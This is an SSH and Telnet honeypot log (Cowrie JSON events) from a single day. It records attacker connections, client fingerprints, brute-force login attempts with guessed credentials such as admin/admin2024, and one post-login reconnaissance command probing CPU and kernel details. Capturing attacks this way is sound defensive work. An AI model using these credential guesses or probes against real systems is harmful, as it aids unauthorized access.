{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":46522,"dst_ip":"10.17.0.5","dst_port":22,"session":"154eb85bcb8f","protocol":"ssh","message":"New connection: 74.91.224.229:46522 (10.17.0.5:22) [session: 154eb85bcb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:30.214319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:30.219326Z","src_ip":"74.91.224.229","session":"154eb85bcb8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:30.458602Z","src_ip":"74.91.224.229","session":"154eb85bcb8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password123","message":"login attempt [dev/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:31.447276Z","src_ip":"74.91.224.229","session":"154eb85bcb8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:32.690343Z","src_ip":"74.91.224.229","session":"154eb85bcb8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59766,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c82921217d7","protocol":"ssh","message":"New connection: 159.203.92.129:59766 (159.203.135.109:22) [session: 8c82921217d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.480476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.485181Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.493144Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2024","message":"login attempt [admin/admin2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.503641Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.545456Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.548753Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.553101Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.565143Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:41.570790Z","src_ip":"159.203.92.129","session":"8c82921217d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":56950,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa7b78fa18b","protocol":"ssh","message":"New connection: 74.91.200.154:56950 (10.17.0.5:22) [session: ffa7b78fa18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:54.476810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:54.481363Z","src_ip":"74.91.200.154","session":"ffa7b78fa18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:54.704382Z","src_ip":"74.91.200.154","session":"ffa7b78fa18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password.1","message":"login attempt [ubuntu/Password.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:55.611680Z","src_ip":"74.91.200.154","session":"ffa7b78fa18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:14:56.835500Z","src_ip":"74.91.200.154","session":"ffa7b78fa18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13050,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f4de0a616dd","protocol":"ssh","message":"New connection: 194.59.206.2:13050 (10.17.0.5:22) [session: 4f4de0a616dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:05.735902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:05.741573Z","src_ip":"194.59.206.2","session":"4f4de0a616dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:05.834854Z","src_ip":"194.59.206.2","session":"4f4de0a616dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:05.939403Z","src_ip":"194.59.206.2","session":"4f4de0a616dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58018,"dst_ip":"10.17.0.5","dst_port":22,"session":"09eeaa82513d","protocol":"ssh","message":"New connection: 74.91.224.229:58018 (10.17.0.5:22) [session: 09eeaa82513d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:25.246536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:25.251372Z","src_ip":"74.91.224.229","session":"09eeaa82513d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:25.490381Z","src_ip":"74.91.224.229","session":"09eeaa82513d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56294,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c8c1a011b7","protocol":"ssh","message":"New connection: 159.203.92.129:56294 (159.203.135.109:22) [session: a2c8c1a011b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.468725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.474406Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.480625Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"P@ssw0rd","message":"login attempt [sadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.487963Z","src_ip":"74.91.224.229","session":"09eeaa82513d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2025","message":"login attempt [admin/admin2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.502883Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.560481Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.564705Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.569661Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.585589Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:26.593327Z","src_ip":"159.203.92.129","session":"a2c8c1a011b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00268292427063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:27.492503Z","src_ip":"49.88.156.34","session":"85b9cc6a2528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:27.734061Z","src_ip":"74.91.224.229","session":"09eeaa82513d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":45489,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac42391ac59","protocol":"telnet","message":"New connection: 49.88.156.34:45489 (10.17.0.5:23) [session: eac42391ac59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:35.208897Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":55312,"dst_ip":"10.17.0.5","dst_port":22,"session":"68181df99012","protocol":"ssh","message":"New connection: 74.91.200.154:55312 (10.17.0.5:22) [session: 68181df99012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:57.633808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:57.638791Z","src_ip":"74.91.200.154","session":"68181df99012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:57.856989Z","src_ip":"74.91.200.154","session":"68181df99012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testtest1","message":"login attempt [root/Testtest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:58.752999Z","src_ip":"74.91.200.154","session":"68181df99012","protocol":"ssh"}
